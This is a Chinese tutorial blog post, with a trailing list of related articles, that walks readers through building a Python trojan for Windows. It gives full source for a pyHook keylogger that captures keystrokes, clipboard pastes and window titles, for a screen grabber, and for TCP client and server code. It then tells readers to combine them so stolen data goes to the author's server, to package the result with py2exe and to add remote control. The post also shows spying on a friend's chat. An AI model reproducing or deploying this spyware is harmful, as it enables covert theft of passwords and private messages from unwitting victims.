python编写简易木马程序_中国骇客云教你使用Python编写木马程序
这次我们运用Python编写一个具有键盘记载、截屏以及通讯功用的简易木马,仍然选用Sublimetext2+JEDI(python自动补全插件)来写代码。首先准备好我们需求的依赖库,pythonhook和pythoncom。
假如觉得费事,你能够直接运用集成了一切我们所需求的python库的商业版Activepython。记载你所敲打的一切:编写一个keylogger说起Keylogger,大家的思想可能早已飞向带有wifi功用的mini小硬件去了。抛开高科技,我们暂且回归实质,探探简易键盘记载器的原理与完成。Pythonkeylogger键盘记载的功用的完成主要应用了pythoncom及pythonhook,然后就是对windowsAPI的各种调用。Python之所以用起来便当快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。关键代码如下所示:
#-*-coding:utf-8-*-
fromctypesimport*
importpythoncom
importpyHook
importwin32clipboard
user32=windll.user32
kernel32=windll.kernel32
psapi=windll.psapi
current_window=None
#
defget_current_process():
#获取最上层的窗口句柄
hwnd=user32.GetForegroundWindow()
#获取进程ID
pid=c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_id="%d"%pid.value
#申请内存
executable=create_string_buffer("\x00"*512)h_process=kernel32.OpenProcess(0x400|0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title=create_string_buffer("\x00"*512)
length=user32.GetWindowTextA(hwnd,byref(windows_title),512)
#打印
print"[PID:%s-%s-%s]"%(process_id,executable.value,windows_title.value)
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#定义击键监听事情函数
defKeyStroke(event):
globalcurrent_window
#检测目的窗口能否转移(换了其他窗口就监听新的窗口)
ifevent.WindowName!=current_window:
current_window=event.WindowName
#函数调用
get_current_process()
#检测击键能否常规按键(非组合键等)
ifevent.Ascii>32andevent.Ascii<127:
printchr(event.Ascii),
else:
#假如发现Ctrl+v(粘贴)事情,就把粘贴板内容记载下来
ifevent.Key=="V":
win32clipboard.OpenClipboard()
pasted_value=win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print"[PASTE]-%s"%(pasted_value),
else:
print"[%s]"%event.Key,
#循环监听下一个击键事情
returnTrue
#创立并注册hook管理器
kl=pyHook.HookManager()
kl.KeyDown=KeyStroke
#注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
【学问点】钩子(Hook):Windows音讯处置机制的一个平台,应用程序能够在上面设置子程以监视指定窗口的某种音讯,而且所监视的窗口能够是其他进程所创立的。编写代码时一定要留意严厉辨别大小写,检查无误后启动keylogger,然后能够尝试翻开记事本写点东西,过程中能够看到我们的keylogger窗口正在对我们的输入实时记载,如图1所示。
图1
切换窗口时会自动跟踪到新窗口,light教授趁机骚扰一下疯狗,能够看到我们的keylogger曾经跟踪到QQ聊天窗口,并忠实的记载下输入的一切,如图2所示。
图2
看看你在干什么:编写一个screenshotter截屏完成起来更简单,直接调用几个GUI相关的API即可,我们直接看代码。
#-*-coding:utf-8-*-
importwin32gui
importwin32ui
importwin32con
importwin32api
#获取桌面
hdesktop=win32gui.GetDesktopWindow()
#分辨率顺应
width=win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height=win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left=win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top=win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
#创立设备描绘表
desktop_dc=win32gui.GetWindowDC(hdesktop)
img_dc=win32ui.CreateDCFromHandle(desktop_dc)
#创立一个内存设备描绘表
mem_dc=img_dc.CreateCompatibleDC()
#创立位图对象
screenshot=win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc,width,height)
mem_dc.SelectObject(screenshot)
#截图至内存设备描绘表
mem_dc.BitBlt((0,0),(width,height),img_dc,(left,top),win32con.SRCCOPY)
#将截图保管到文件中
screenshot.SaveBitmapFile(mem_dc,'c:\\WINDOWS\\Temp\\screenshot.bmp')
#内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
运转之后看看效果如何,如图3所示。
图3
综合运用:完成一个简易木马
无论是keylogger记载下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需求构建一个简单server和client端来停止通讯,传输记载下的内容到我们的效劳器上。
1)编写一个简单的TCPclient
#-*-coding:utf-8-*-
importsocket
#目的地址IP/URL及端口
target_host="127.0.0.1"
target_port=9999
#创立一个socket对象
client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#衔接主机
client.connect((target_host,target_port))
#发送数据
client.send("GET/HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
#接纳响应
response=client.recv(4096)
printresponse
2)编写一个简单的TCPserver
#-*-coding:utf-8-*-
importsocket
importthreading
#监听的IP及端口
bind_ip="127.0.0.1"
bind_port=9999
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print"[*]Listeningon%s:%d"%(bind_ip,bind_port)
defhandle_client(client_socket):
request=client_socket.recv(1024)
print"[*]Received:%s"%request
client_socket.send("ok!")
client_socket.close()
whileTrue:
client,addr=server.accept()
print"[*]Acceptconnectionfrom:%s:%d"%(addr[0],addr[1])
client_handler=threading.Thread(target=handle_client,args=(client,))
client_handler.start()
开启效劳端监听,如图4所示。
执行客户端,如图5所示。
效劳端接纳到客户端的恳求并做出了响应,如图6所示。
图6更多关注www.hackerschina.org
最后需求做的就是把上面三个模块分离起来,一个简易的具有键盘记载、屏幕截图并能够发送内容到我们效劳端的木马就完成了。能够运用py2exe把脚本生成exe可执行文件。当然,你还能够继续发挥,加上远程控制功用。
打赏
微信扫一扫,打赏作者吧~
相关
python编写简易木马程序_中国骇客云教你使用Python编写木马程序相关推荐
- python模拟app抢票_亲测,手把手教你用Python抢票
大数据文摘作品,欢迎个人转发朋友圈,自媒体.媒体.机构转载务必申请授权,后台留言"机构名称+转载",申请过授权的不必再次申请,只要按约定转载即可,但文末需放置大数据文摘二维码. 大 ...
- python画卡通皮卡丘_实现童年Pokémon,教你用Python画一只属于自己的皮卡丘
原标题:实现童年Pokémon,教你用Python画一只属于自己的皮卡丘 大数据文摘出品 作者:李雷.蒋宝尚 还记得小时候疯狂收集和交换神奇宝贝卡片的经历吗? 还记得和小伙伴拿着精灵球,一起召唤小精灵 ...
- 用python写秒杀程序_马上双十一,教你用Python实现秒杀系统
简书博客地址: https://www.jianshu.com/u/8f4d80000566 大家好,我是老表 阅读文本大概需要 10 分钟 坚持学习很难,养成学习习惯更难 架构搭建是重点,代码或语言 ...
- php 5.6.15漏洞,中国骇客云0day漏洞之蝉知 5.6 getshell
前台注入 在/chanzhieps/system/module/cart/control.php页面的add函数 更多关注www.hackerschina.org PHP 1 2 3 4 5 6 7 ...
- python画k线图_一步一步教你用Python画出专业的K线图
漂亮的界面是量化程序的脸面,直观专业的界面能帮助我们了解股票的走势和形象地展示量化交易的结果.本文介绍如何使用matplotlib做出专业的K线图和展示各种技术指标: matplotlib是受MATL ...
- python短视频自动制作_拒绝降权!教你用 Python 确保制作的短视频独一无二
1. 场景 前段时间有人私信我,说自己辛辛苦苦剪辑的短视频,上传到某平台后,由于播放量太大,收到 降权 的通知,直接导致这个账号废掉了! 其实,各大视频平台都有自己的一套鉴别算法,针对视频的二次创作, ...
- python 慕课网请编写一个fib函数_中国大学MOOC(慕课)_C程序设计_选修课测试答案...
[简答题]这些工人后悔当时接受管理部门的意见重新回去工作.现在他们再次面临失业的危险了. (regret doing sth.; yield to; be faced with) [判断题]行政法.经 ...
- 运行github中python程序_从phon上的github直接运行python代码
有没有移动pythonide可以让你直接从GitHub下载代码到应用程序中?事实上,IDE将是一个过火-我不需要在应用程序中编写代码,只需要运行代码作为一个快速演示来与人们讨论想法.我的代码不启动gu ...
- python中算法与数学_中国古代数学算法的Python实现
看了这篇<没有定理的中国古代数学,如何站在世界之巅?>.虽然我觉得题目很标题党,不过里面的内容很有趣啊,讲解了中国古代数学里的几个算法.由于我正在学Python,所以自然就拿来练手了. 可 ...
- 大学python搜题软件_中国大学MOOC的APP(慕课)用Python玩转数据答案搜题公众号
中国大学MOOC的APP(慕课)用Python玩转数据答案搜题公众号 更多相关问题 在△ABC中,sinA:sinB:sinC=3:2:4,则最大角的余弦值是______. 设随机变量X-,则=(). ...
最新文章
- BZOJ3139/BZOJ1306 HNOI2013比赛/CQOI2009循环赛(搜索)
- Gym - 101775J Straight Master(差分数组)
- 前端学习(3):vs code编辑器
- 【Aladdin Unity3D Shader编程】之三 光照模型(二)
- Python可以用于客户端Web开发吗?
- maven工程分开common和server
- 移动端rem单位用法
- http://95u.free.fr/index.php,Electronic Software Distribution Service
- stm32驱动ssd1306配置_STM32实验-SSD1306 OLED显示实验
- 筛选中很容易粘贴到被隐藏部分_Excel中复制(或粘贴)含有隐藏单元格的区域时如何只对可见单元格进行操作...
- MySQL使用简单教程
- sel4源码解析(三) - sel4系统调用处理流程
- 章文嵩:怎样做开源才有意义?
- k-Nearest Neighbors(k近邻算法)
- Mothur5进阶_Mothur扩增子基因序列分析_基于OTU或ASV的多样性指数分析
- AutoCAD在指定布局中如何隐藏指定的图形?
- 上半年要写的博客文章29
- NOIP2021 T3 方差
- 5月份华为认证考试,100%通过率!最高分九百多!
- 三菱触摸屏通讯错误_三菱触摸屏插上通讯线直接黑屏,老司机手把手教你解决触摸屏黑屏...
热门文章
- Window7激活 电话激活小记;
- Unity3D使用透明视频,解决Pr导出WebM毛边问题
- css 平移到某个位置_CSS3 对象平移translate()translatex()translatey()应用实例,包括水平垂直居中...
- 多实例安装mysql数据库
- 文件和数据格式化之数据的组织维度
- Ajax读书笔记(四)
- 谢霆锋断言暂不再婚 赞张柏芝教子有方
- 转--《失控》与无中生有
- win10定时语音提醒
- unity 暂停按钮_Unity应用怎么暂停(Pause)